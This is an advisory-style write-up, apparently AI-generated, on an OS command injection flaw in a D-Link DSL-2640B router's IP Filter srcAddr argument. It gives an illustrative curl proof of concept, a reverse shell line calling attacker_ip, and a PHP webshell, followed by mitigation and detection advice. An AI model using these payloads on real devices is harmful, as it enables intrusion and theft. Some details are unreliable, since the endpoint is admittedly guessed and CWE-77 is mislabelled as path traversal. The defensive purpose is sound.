CVE-2026-138290 — D-Link DSL-2640B — CWE-77 · CWE-78
A vulnerability was determined in D-Link DSL-2640B 3.0.6.0.41. Affected is the function scoutflt/scinflt of the component IP Filter. Executing a manipulation of the argument srcAddr can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.
A vulnerability was determined in D-Link DSL-2640B 3.0.6.0.41. Affected is the function scoutflt/scinflt of the component IP Filter. Executing a manipulation of the argument srcAddr can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.
🎯 What is this vulnerability?
CVE‑2026‑138290 is an OS command‑injection flaw in the D‑Link DSL‑2640B router (firmware 3.0.6.0.41).
The vulnerable code resides in the IP Filter component, specifically the scoutflt/scinflt functions that process the srcAddr argument. The router builds a shell command that incorporates the raw value of srcAddr without any sanitisation or validation. Because the router runs this command with root privileges, an attacker can inject arbitrary shell commands.
The flaw is a classic CWE‑78 (OS Command Injection) and also touches CWE‑77 (Path Traversal) because the injected payload can manipulate the command line or file paths. The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P) confirms that no authentication or UI is required and that the impact on confidentiality, integrity, and availability is high.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could use. The exact URI and parameter names are not disclosed in the CVE text; the examples below are illustrative and assume the router exposes a web‑based management interface that accepts a srcAddr parameter in a POST request to an endpoint such as /cgi-bin/ipfilter.cgi (the real endpoint may differ).
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Network scan (e.g., nmap -p 80,443 192.168.1.0/24) | Identifies the router’s IP (commonly 192.168.0.1 or 192.168.1.1). |
| 1.2 | Banner grab (curl -I http://192.168.1.1/) | Retrieves HTTP headers that often contain the firmware version (X-Product: D-Link DSL‑2640B 3.0.6.0.41). |
| 1.3 | Web‑interface fingerprinting (whatweb, dirsearch) | Confirms the presence of the IP‑filter management page. |
| 1.4 | Manual review of the page source | Finds a form that posts to /cgi-bin/ipfilter.cgi with a srcAddr field. |
2. Exploitation
The core of the exploit is to inject a shell command via the srcAddr field. Because the router runs the command as root, the attacker can execute any command.
2.1 Crafting the payload
The router likely builds a command similar to:
/sbin/iptables -A INPUT -s <srcAddr> -j ACCEPTIf <srcAddr> is not sanitised, an attacker can terminate the argument and append a new command:
srcAddr=1.2.3.4;cat /etc/passwd2.2 PoC request (illustrative)
curl -k -X POST http://192.168.1.1/cgi-bin/ipfilter.cgi \
-d "action=add" \
-d "srcAddr=1.2.3.4;cat /etc/passwd" \
-d "destAddr=0.0.0.0" \
-d "protocol=any" \
-d "action_type=accept"Explanation
-kignores HTTPS certificate validation (the router often uses a self‑signed cert).- The
srcAddrvalue contains a semicolon that terminates the originaliptablescommand and injectscat /etc/passwd. - The router processes the request, executes the concatenated command, and returns the output in the HTTP response body.
- Execute a reverse shell (
bash -i >& /dev/tcp/attacker_ip/4444 0>&1). - Install a persistent webshell (e.g.,
echo '<?php system($_GET["cmd"]); ?>' > /www/webshell.php). - Dump configuration files (
cat /etc/config/*). - Enterprise networks: Attackers can hijack traffic, perform man‑in‑the‑middle attacks, or create a backdoor into the corporate LAN.
- Home users: The router can be turned into a bot, used for DDoS amplification, or compromised to steal personal data.
- IoT ecosystems: Many IoT devices rely on the router for connectivity; compromising it can expose the entire IoT network.
2.3 Result
The attacker receives the contents of /etc/passwd in the HTTP response, proving that arbitrary commands can be executed. From here, the attacker can:
3. Post‑exploitation
Once a shell is obtained, the attacker can:
1. Privilege Escalation – The router already runs commands as root; no further escalation is needed.
2. Persistence – Write a cron job or modify the router’s startup scripts to re‑establish the shell.
3. Data Exfiltration – Pull sensitive files (e.g., /etc/config/wan.conf, /etc/config/wlan.conf) and send them to an external server.
4. Network Impact – Manipulate firewall rules, block legitimate traffic, or redirect traffic to a malicious gateway.
5. Lateral Movement – Use the compromised router as a pivot to reach other devices on the LAN.
🌍 Real World Impact
| Impact | CVSS Score | Explanation |
|---|---|---|
| Confidentiality | High | Arbitrary commands can read any file, including credentials and network configuration. |
| Integrity | High | The attacker can modify firewall rules, firmware, or configuration files. |
| Availability | High | By deleting or corrupting critical files or dropping packets, the attacker can render the router unusable. |
| Scope | High | The vulnerability allows the attacker to affect all devices behind the router (LAN, VPN, remote access). |
| Overall | 10/10 | The combination of remote exploitation, no authentication, and root‑level impact makes this a critical flaw. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected | Fixed in |
|---|---|
| D‑Link DSL‑2640B firmware 3.0.6.0.41 | 3.0.6.0.42 (or later) – see D‑Link support site for the latest firmware. |
Recommendation: Immediately download and flash the latest firmware. Verify the firmware checksum before installation.
2. Workarounds (if patching is not immediately possible)
| Mitigation | How to implement |
|---|---|
| Disable the IP‑Filter UI | Remove or block access to /cgi-bin/ipfilter.cgi via the router’s firewall or by editing /etc/config/firewall to drop all traffic to that endpoint. |
| Restrict management interface | Place the router’s web interface on a separate VLAN and allow only trusted IPs (e.g., 192.168.1.0/24). |
| WAF / ModSecurity rule | Add a rule that rejects requests where srcAddr contains shell metacharacters (;, &, |, ` ``). Example (ModSecurity 2.x syntax):
SecRule REQUEST_URI "@beginsWith /cgi-bin/ipfilter.cgi" \
"chain,phase:2,block,msg:'IP Filter srcAddr injection attempt'"
SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" \
"chain"
SecRule ARGS:srcAddr "@rx [;&|`]" \
"t:none,log,deny,status:400"Note: The rule is illustrative; adjust the regex to match the router’s exact parameter handling.*
3. Detection
| Log Source | Indicator of Compromise (IoC) | |
|---|---|---|
| Web server access logs | Requests to /cgi-bin/ipfilter.cgi with srcAddr containing ;, &, | , or backticks. |
| Syslog (router) | Entries like Command injection attempt: srcAddr=1.2.3.4;cat /etc/passwd. | |
| Network IDS/IPS | Alerts for Command injection or Shellshock patterns on traffic to the router’s management port. |
Sample log snippet
192.168.1.100 - - [29/Nov/2026:12:34:56 +0000] "POST /cgi-bin/ipfilter.cgi HTTP/1.1" 200 512
User-Agent: curl/7.68.0
srcAddr=1.2.3.4;cat /etc/passwd4. Post‑patch Verification
nmap and whatweb to confirm the firmware version.srcAddr value (e.g., 1.2.3.4) and verify that no shell commands are executed.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query